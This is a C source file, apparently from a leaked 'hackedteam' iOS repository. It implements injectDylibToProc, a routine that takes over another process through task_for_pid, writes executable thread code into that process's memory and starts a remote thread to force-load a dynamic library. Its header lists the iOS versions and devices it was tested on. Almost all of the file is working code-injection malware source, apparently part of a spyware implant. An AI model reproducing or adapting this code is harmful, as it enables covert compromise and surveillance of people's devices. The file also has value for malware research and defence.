hackedteam/core-ios

View on GitHub
core/Support/RCSIProcInjection.c

Summary

Maintainability
Test Coverage
//
//  RCSIProcInjection.c
//  RCSIphone
//
//  Created by kiodo on 26/04/12.
//  Copyright 2012 HT srl. All rights reserved.
//
// tested against:
// 
// (3.1.3 3gs) Darwin iPhone3gs 10.0.0d3 Darwin Kernel Version 10.0.0d3: Fri Dec 18 01:34:28 PST 2009; root:xnu-1357.5.30~6/
//             RELEASE_ARM_S5L8920X iPhone2,1 arm N88AP Darwin
// (4.0.0 3g)  Darwin iPhone3g 10.3.1 Darwin Kernel Version 10.3.1: Wed May 26 22:13:30 PDT 2010; root:xnu-1504.50.73~2/
//             RELEASE_ARM_S5L8900X iPhone1,2 arm N82AP Darwin
// (4.1.0 3gs) Darwin iPhone3gs 10.3.1 Darwin Kernel Version 10.3.1: Wed Aug  4 22:29:51 PDT 2010; root:xnu-1504.55.33~10/
//             RELEASE_ARM_S5L8920X iPhone2,1 arm N88AP Darwin
// (4.3.3 4g)  Darwin iPhone4g 11.0.0 Darwin Kernel Version 11.0.0: Wed Mar 30 18:51:10 PDT 2011; root:xnu-1735.46~10/RELEASE_ARM_S5L8930X
//             iPhone3,1 arm N90AP Darwin
// (5.0.1 4g)  Darwin iPhone 11.0.0 Darwin Kernel Version 11.0.0: Tue Nov  1 20:33:58 PDT 2011; root:xnu-1878.4.46~1/RELEASE_ARM_S5L8930X
//             iPhone3,1 arm N90AP Darwin
// (4.3.3 iPad)Darwin iPad 11.0.0 Darwin Kernel Version 11.0.0: Wed Mar 30 18:51:10 PDT 2011; root:xnu-1735.46~10/RELEASE_ARM_S5L8930X
//             iPad1,1 arm K48AP Darwin

#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>

kern_return_t injectDylibToProc(pid_t pid, const char *path);

extern char rThread[];
extern char rThread_end[];
extern char dylib_path[64];
extern char insert_lib[64];
extern char checkInitT[64];

static mach_vm_size_t stack_size = 2*PAGE_SIZE;

kern_return_t injectDylibToProc(pid_t pid, const char *path) 
{
  struct _opaque_pthread_t d;
  mach_vm_size_t rThread_size = rThread_end - rThread;
  kern_return_t kret;
  task_t task;
  int t;
  
  t = sizeof(d);
  
  static union {
    _STRUCT_ARM_THREAD_STATE arm;
    natural_t natural;
  } thdState = { { .__cpsr = 0x20 } };
  
  kret = task_for_pid(mach_task_self(), (int) pid, &task);
  
  if (kret != KERN_SUCCESS)
      return kret;
  
  vm_address_t stack_address = VM_MIN_ADDRESS;
  kret = vm_allocate(task, &stack_address, stack_size, VM_FLAGS_ANYWHERE);
  
  if (kret != KERN_SUCCESS)
    return kret;
  
  mach_vm_address_t rThread_address = stack_address + stack_size - rThread_size;
  
  strlcpy(dylib_path, path, 64);
  strlcpy(insert_lib, "DYLD_INSERT_LIBRARIES", 64);
  strlcpy(checkInitT, "checkInit", 64);
  
  kret =  vm_protect(task, 
                     stack_address, 
                     stack_size, 
                     false, 
                     VM_PROT_READ | VM_PROT_WRITE);
  
  if (kret != KERN_SUCCESS)
    return kret;
  
  kret = vm_write(task, rThread_address, (vm_offset_t) rThread, rThread_size);
  
  if (kret != KERN_SUCCESS)
    return kret;
  
  thdState.arm.__pc = rThread_address;
  thdState.arm.__sp = (uint32_t) stack_address + stack_size - PAGE_SIZE;
  
  vm_machine_attribute_val_t value = MATTR_VAL_CACHE_FLUSH; 
  vm_machine_attribute(task, rThread_address, rThread_size, MATTR_CACHE, &value);
 
  kret = vm_protect(task, 
                    rThread_address, 
                    rThread_size, 
                    false, 
                    VM_PROT_READ | VM_PROT_EXECUTE);
  
  if (kret != KERN_SUCCESS)
    return kret;
  
  thread_act_t theThread;
  kret = thread_create_running(task, 
                               ARM_THREAD_STATE, 
                               &thdState.natural, 
                               ARM_THREAD_STATE_COUNT, 
                               &theThread);
  
  return kret;    
}